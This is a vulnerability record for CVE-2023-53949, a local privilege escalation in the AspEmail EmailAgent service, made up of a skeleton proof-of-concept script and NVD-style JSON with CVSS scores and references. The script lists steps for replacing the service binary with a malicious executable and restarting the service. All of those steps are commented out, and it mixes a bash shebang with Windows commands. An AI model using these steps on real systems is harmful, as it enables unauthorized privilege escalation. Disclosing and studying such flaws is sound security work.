CVE-2023-53949

#!/bin/bash # CVE-2023-53949 PoC - AspEmail Binary Permission Vulnerability # This PoC demonstrates the privilege escalation via binary replacement TARGET_DIR="C:\\Program Files\\AspEmail\\Bin" MALICIOUS_EXE="malicious.exe" BACKUP_EXE="EmailAgent.exe.bak" # Step 1: Check current permissions on BIN directory #icacls "$TARGET_DIR" # Step 2: Backup original executable #copy "$TARGET_DIR\\EmailAgent.exe" "$TARGET_DIR\\$BACKUP_EXE" # Step 3: Replace service executable with malicious payload #copy "$MALICIOUS_EXE" "$TARGET_DIR\\EmailAgent.exe" # Step 4: Restart the EmailAgent service to execute payload #net stop EmailAgent #net start EmailAgent echo "PoC for CVE-2023-53949" echo "Target: AspEmail 5.6.0.2 EmailAgent Service" echo "Attack: Binary replacement for privilege escalation"

{"cve": {"id": "CVE-2023-53949", "sourceIdentifier": "[email protected]", "published": "2025-12-19T21:15:50.397", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AspEmail 5.6.0.2 contains a binary permission vulnerability that allows local users to escalate privileges through the Persits Software EmailAgent service. Attackers can exploit full write permissions in the BIN directory to replace the service executable and gain elevated system access."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://www.aspemail.com", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51380", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/aspemail-local-privilege-escalation-via-binary-permission-vulnerability", "source": "[email protected]"}]}}